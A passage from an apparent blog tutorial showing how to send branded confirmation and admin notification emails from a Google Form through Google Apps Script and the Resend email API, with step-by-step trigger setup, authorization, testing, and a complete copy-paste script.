• apiKey — your Resend API key from Script Properties

• from — the sender address (must be on your verified domain)

• to — the recipient email address

• subject — the email subject line

• htmlBody — the HTML content of the email

Step 5 — Write the Main onFormSubmit Function

This is the function that fires every time someone submits your Google Form. It reads the form data from the sheet and sends two emails — one to the admin, one to the person who submitted.

function onFormSubmit(e) {
  // Get form data
  const sheet = e.source.getActiveSheet();
  const row = e.range.getRow();
  const data = sheet.getRange(row, 1, 1, sheet.getLastColumn()).getValues()[0];

  const fullName = data[1];
  const email = data[4]?.trim();

  if (!email) return;

  const firstName = fullName
    ? fullName.split(" ")[0]
    : "there";

  // Load your API key
  const RESEND_API_KEY = PropertiesService
    .getScriptProperties()
    .getProperty("RESEND_API_KEY");

  const FROM_EMAIL = "Your app Website <noreply@yourdomain.com>";
  const ADMIN_EMAIL = "admin@yourdomain.com";

  // Notify admin
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    ADMIN_EMAIL,
    `New Application - ${fullName}`,
    `<h2>New Application</h2>
     <p><strong>Name:</strong> ${fullName}</p>
     <p><strong>Email:</strong> ${email}</p>`
  );

  // Send confirmation email
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    email,
    `Welcome, ${firstName}!`,
    `
      <h2>Welcome to the platform!</h2>
      <p>Hi ${firstName},</p>
      <p>Thanks for joining (your platform). We've received your application and will be in touch soon.</p>
    `
  );
}

The important thing here isn't the HTML itself—it's the sendViaResend() function. You can pass any subject and HTML content you want, making it easy to send welcome emails, notifications, password resets, invoices, or any other transactional email from your Google Apps Script.

Step 6 — Set Up the Trigger

The script needs a trigger to fire automatically when someone submits the form. Without this, nothing runs.

1. In the Apps Script editor, click the ⏰ clock icon (Triggers) in the left sidebar

2. Click "+ Add Trigger" at the bottom right

3. Configure it:

   • Function to run: onFormSubmit

   • Event source: From spreadsheet

   • Event type: On form submit

4. Click "Save"

5. Google will ask you to authorize the script — click through and allow it

Step 7 — Authorize the Script

Every time you modify the script or add new permissions (like UrlFetchApp for external HTTP calls), Google requires re-authorization.

1. In the Apps Script editor, click Run → select onFormSubmit

2. A popup appears — click "Review Permissions"

3. Choose your Google account

4. Click "Advanced" → "Go to [your script name]"

5. Click "Allow"

This is normal — Google flags any script that makes external HTTP calls as requiring manual review.

Step 8 — Test It

Submit a test entry through your Google Form and check:

1. Admin inbox — did the notification arrive from your domain?

2. Test email inbox — did the confirmation arrive from your domain?

3. Apps Script logs — click View → Logs in the editor to see the Resend API response

A successful Resend response looks like:

json

{ "id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" }

If you see an error instead, check:

• Is your API key correct in Script Properties?

• Is the from address on your verified Resend domain?

• Did you authorize the script properly in Step 7?

The Result

Before this change, every email sent through the form showed my personal Gmail address as the sender. Unprofessional and a security concern.

After this change, every email arrives from noreply@mydomain.com — the organisation's own domain, completely branded, no personal email addresses exposed anywhere.

The client sees professional emails. The applicants see professional emails. My Gmail is not involved at all.

Key Takeaways

Why Resend instead GmailApp for professional projects:

• Sends from your own verified domain — no personal Gmail exposed

• Better deliverability — less likely to land in spam

• No Gmail sending limits affecting your script

• API key can be rotated if compromised — Gmail account cannot

• Works regardless of who owns or accesses the Google Sheet

The pattern works for any Google Form project:

• Client intake forms

• Event registrations

• Job applications

• Customer support tickets

Anywhere you need professional, branded transactional email from a Google Form — this is the approach.

Full Working Code

Here is the complete script in one block, ready to copy and paste:

function onFormSubmit(e) {
  const sheet = e.source.getActiveSheet();
  const row = e.range.getRow();
  const data = sheet.getRange(
    row, 1, 1, sheet.getLastColumn()
  ).getValues()[0];

  const timestamp   = data[0];
  const fullName    = data[1];
  const gender      = data[2];
  const phone       = data[3];
  const email       = data[4]?.trim();
  const state       = data[5];
  const institution = data[6];
  const faculty     = data[8];
  const level       = data[9];
  const interest    = data[10];
  const skills      = data[11];
  const experience  = data[12];
  const whyJoin     = data[14];

  if (!email) return;

  const firstName = fullName
    ? fullName.trim().split(" ")[0]
    : "there";

  const RESEND_API_KEY = PropertiesService
    .getScriptProperties()
    .getProperty("RESEND_API_KEY");

  const FROM_EMAIL = "Your App <noreply@yourdomain.com>";
  const adminEmail = "admin@yourdomain.com";

  // Notify Admin
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    adminEmail,
    "New Form Submission",
    `
    <div style="font-family:Arial;background:#f4f6f8;padding:20px;">
      <div style="max-width:600px;margin:auto;background:#fff;
                  padding:25px;border-radius:10px;border:1px solid #eee;">

        <h2 style="color:#1a73e8;">📩 New Form Submission</h2>

        <p>A new form has been submitted.</p>

        <hr/>

        <p><strong>Name:</strong> ${fullName}</p>
        <p><strong>Email:</strong> ${email}</p>

        <p style="margin-top:20px;font-size:12px;color:#777;">
          Submitted: ${timestamp}
        </p>

      </div>
    </div>
    `
  );

  // Send Confirmation Email
  sendViaResend(
    RESEND_API_KEY,
    FROM_EMAIL,
    email,
    "Thanks for your submission!",
    `
    <div style="font-family:Arial;background:#f4f6f8;padding:20px;">
      <div style="max-width:600px;margin:auto;background:#fff;
                  padding:25px;border-radius:10px;border:1px solid #eee;">

        <p>Hi ${firstName},</p>

        <h2 style="color:#2e7d32;">Thanks for reaching out!</h2>

        <p>
          We've successfully received your submission.
        </p>

        <p>
          Our team will review it and get back to you if any further action is required.
        </p>

        <p>
          We appreciate your time and look forward to connecting with you.
        </p>

        <p style="margin-top:20px;">
          Best regards,<br/>
          Your Team
        </p>

      </div>
    </div>
    `
  );
}

function sendViaResend(apiKey, from, to, subject, htmlBody) {
  const url = "https://api.resend.com/emails";

  const payload = {
    from: from,
    to: [to],
    subject: subject,
    html: htmlBody
  };

  const options = {
    method: "post",
    contentType: "application/json",
    headers: {
      Authorization: "Bearer " + apiKey
    },
    payload: JSON.stringify(payload),
    muteHttpExceptions: true
  };

  const response = UrlFetchApp.fetch(url, options);
  const result = JSON.parse(response.getContentText());

  Logger.log(result);

  return result;
}

What's Next

This same pattern works for any Google Form project where you need professional branded email. You can extend it further:

• Add CC or BCC recipients by adding cc or bcc arrays to the Resend payload

• Send attachments by adding the attachments field to the payload

• Create multiple email templates for different form types

• Add error handling that sends you an alert if Resend returns a failure

If you found this useful or ran into a different problem building something similar, drop it in the comments. Happy to help.